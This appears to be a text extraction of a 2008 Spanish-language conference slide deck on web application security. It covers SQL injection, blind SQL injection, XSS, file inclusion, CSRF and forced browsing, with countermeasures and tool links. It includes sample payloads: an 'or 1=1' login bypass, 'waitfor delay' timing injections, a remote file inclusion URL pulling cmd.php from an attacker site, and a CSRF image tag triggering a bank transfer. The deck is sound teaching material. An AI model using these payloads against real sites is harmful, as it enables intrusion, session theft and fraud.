Edge Security Rediris2008
Edge Security Rediris2008
en aplicaciones Web
Christian Martorella
Edge-security.com
1
#Whoami: Christian Martorella
Cofundador Edge-security.com
CISSP, CISM, CISA, OPST, OPSA
Actualmente trabajando en
Presidente de las Conferencias F.I.S.T
Miembro de OISSG
http://laramies.blogspot.com
2
Escenario actual
3
Escenario actual
Aumento del uso de aplicaciones web en el día a día,
Banca online, redes sociales, etc
Web 2.0 añade mayor complejidad y nuevos vectores
de ataque
Los firewall permiten el paso de este servicio y no
pueden hacer nada al respecto
Punto de contacto con las bases de datos ($$)
Cada vez los datos personales tienen más valor, y hay
más interesados en ellos.
4
Escenario actual
Precio de los datos:
5
Escenario actual
Ataques de phishing y fraude online (Launch pad,
infection point)
6
Escenario actual -
4396 vulnerabilidades
Web Applications
Otras vulnerabilidades
7
Escenario actual -
SQL Injection
8
Escenario actual - WASC
Porcentaje de sitios vulnerable por tipo de vulnerabilidad
9
Escenario actual - WASC
Vulnerabilidades más comúnes x clase
85.57
26.38
Cross Site Scripting
15.70 SQL Injection
Information Leakage
9.76 HTTP Response Splitting
Path Traversal
1.19 Other
4.30
0 25 50 75 100
10
Escenario actual - OWASP
11
OWASP TOP 10
12
OWASP TOP 10
13
Escenario actual
14
Web applications 101
15
Web applications 101
16
Web applications 101
17
Las sospechosas habituales
18
SQL injection
19
SQL injection
20
SQL injection
21
SQL injection
La inyección de código SQL se produce cuando datos
suministrados por el usuario son enviados sin filtrar a
un intérprete como parte de una consulta (Query), con
el fin de modificar el comportamiento original, para
ejecutar comandos o consultas arbitrarias en la base
de datos.
22
SQL injection
<code>
sql_query=
“SELECT * FROM users WHERE
username = '" + username_string + "' AND
userpass = '" + password_string + "'"
</code>
23
SQL injection
24
SQL injection
25
SQL injection
Consulta final en DB:
SELECT * FROM users WHERE
username = '' or 1=1;--
AND userpass = 'test'
27
SQL injection
28
SQL injection
29
SQL injection - Tools
Sqlbif: http://www.open-labs.org/
SqPyfia: http://www.edge-security.com
Sqlmap: http://sqlmap.sourceforge.net/
Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
30
Blind SQL injection
31
Blind SQL injection
Blind SQL injection es igual al SQL injection, pero con
la diferencia que no se obtienen mensajes de error ni
resultados en las respuestas.
Es más difícil de explotar y lleva más tiempo obtener
los resultados.
Se ocultaron los mensajes de error, pero no se arregló
la vulnerabilidad.
32
Blind SQL injection
Se puede explotar mediante consultas SQL con
evaluaciones lógicas del tipo True ó False.
http://newspaper.com/items.php?id=2
33
Blind SQL injection
http://newspaper.com/items.php?id=2 and 1=0
ID = 2 and 1=0
35
Blind SQL injection
!=
“Conferencia de Rediris el día 28” 32 chars
36
Blind SQL injection
37
Blind SQL injection
38
Blind SQL injection
sql.php?id=1 and substr(user(),1,1) = “a” NO “No se encontró artículo en la Base de datos”
NO...
SELECT title, description, body FROM items WHERE ID = 2 and 1=0 32 Chars
SELECT title, description, body FROM items WHERE ID = 2 and 1=1 32 Chars
41
Blind SQL injection
Pero podemos usar algunas opciones como:
Timing
Condicionales (IF)
42
Blind SQL injection
SELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay '0:0:15'--
SELECT title, description, body FROM items WHERE ID = 2;if (select user) = 'sa'
waitfor delay '0:0:15'
43
Blind SQL injection
DEMOS [Blind]
44
Blind SQL injection
45
SQL injection
Contramedidas:
Sqlbif: http://www.open-labs.org/
SqPyfia: http://www.edge-security.com
Pblind: http://www.edge-security.com
Sqlmap: http://sqlmap.sourceforge.net/
Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project
47
SQL Injection
48
Cross Site Scripting XSS
49
Cross Site Scripting XSS
50
Cross Site Scripting XSS
Que se puede hacer con ellos?:
51
Cross Site Scripting XSS
Más..
Abusar de
vulnerabilidades del Robar History
browser
52
Cross Site Scripting XSS
Tipos:
Persistente o Almacenado
53
Cross Site Scripting XSS
No Persistente - Reflejado
1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos
personales.
3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo,
haciendose pasar por el servicio de administración de “XSSLand”
4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand”
54
Cross Site Scripting XSS
Persistente
1. El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como
firmar el libro de visitas.
3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a
verlo.
4. Solo con ver el mensaje, la cookie de sesión de los usuarios sera enviada a un
servidor controlado por Haxor sin que los usuarios se den cuenta.
5. Posteriormente Haxor, accede con las cookies de sesión de los otros usuarios y
envia mensajes suplantando la identidad de las victimas.
55
Cross Site Scripting XSS
56
Cross Site Scripting XSS
57
Cross Site Scripting XSS
58
Cross Site Scripting XSS
Contramedidas:
Filtrar todo el contenido que recibimos para evitar que
se incluyan tags de scripting, aceptando solo los
valores válidos. (White Lists)
Antes de almacenar y de volver a mostrar los datos a
los usuarios, se recomienda transformar los meta-
caracteres, que permiten esta vulnerabilidad, a su
entidad HTML correspondiente. > > < < & &
60
File inclusion
La inclusión remota de ficheros o código permite a los
atacantes incluir código y datos arbitrarios en la
aplicación vulnerable, que luego se ejecutará en el
servidor.
61
File inclusion
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php
http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00
63
File inclusion
64
Remote File inclusion (RFI)
65
Local File Inclusion
66
Local File Inclusion
67
Remote File inclusion (RFI)
68
Remote File inclusion (RFI)
69
Remote File inclusion (RFI)
70
File inclusion
Ocultar nombre de ficheros al usuario
Desactivar “allow_url_fopen” y “allow_url_include”
en PHP.INI
Configurar firewalls para prevenir que el servidor Web
no pueda realizar conexiones nuevas hacia
servidores externos o internos.
Utilizar valores que se mapeen con los ficheros
necesarios, asi “1” es equivalente a “config_user.ini”,
“2” a “config_site.ini”
72
Cross Site Request Forgery
<IMG SRC=”http://www.mibancaonline.com/
transferencia.asp?
amount=1000000&to_account=3l3373” />
73
Cross Site Request Forgery
74
Cross Site Request Forgery
Chuck Willis,
Principal consultant, Mandiant
75
Cross Site Request Forgery
Contramedidas:
76
Failure to Restrict URL Access
77
Failure to Restrict URL Access
78
Failure to Restrict URL Access
Existen muchos diccionarios creados para explotar
esta vulnerabilidad:
79
Failure to Restrict URL Access
Wfuzz
80
Failure to Restrict URL Access
DEMO [Wfuzz]
81
Failure to Restrict URL Access
Herramientas:
Wfuzz: http://www.edge-security.com/wfuzz.php
Dirb: http://www.open-labs.org/
82
83
WebSlayer
Nueva herramienta para realizar todo tipo de
ataques de fuerza bruta sobre aplicaciones webs.
Session bruteforce
Parameter bruteforce
Basada en wfuzz
Parameter Injection (XSS, SQL)
84
WebSlayer
Multiple payloads
Payload encoding
85
WebSlayer
WebSlayer
86
WebSlayer
DEMO [Webslayer]
87
ProxyStrike
88
ProxyStrike
89
ProxyStrike
90
ProxyStrike
91
TOOLS
www.edge-security.com
Wfuzz: http://www.edge-security.com/wfuzz.php
WebSlayer: http://www.edge-security.com/webslayer/
Webslayer.html
ProxyStrike: http://www.edge-security.com/proxystrike.php
92
Referencias
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.0x000000.com/index.php?i=14
http://www.xssed.com/xssinfo
Owasp http://www.owasp.org
94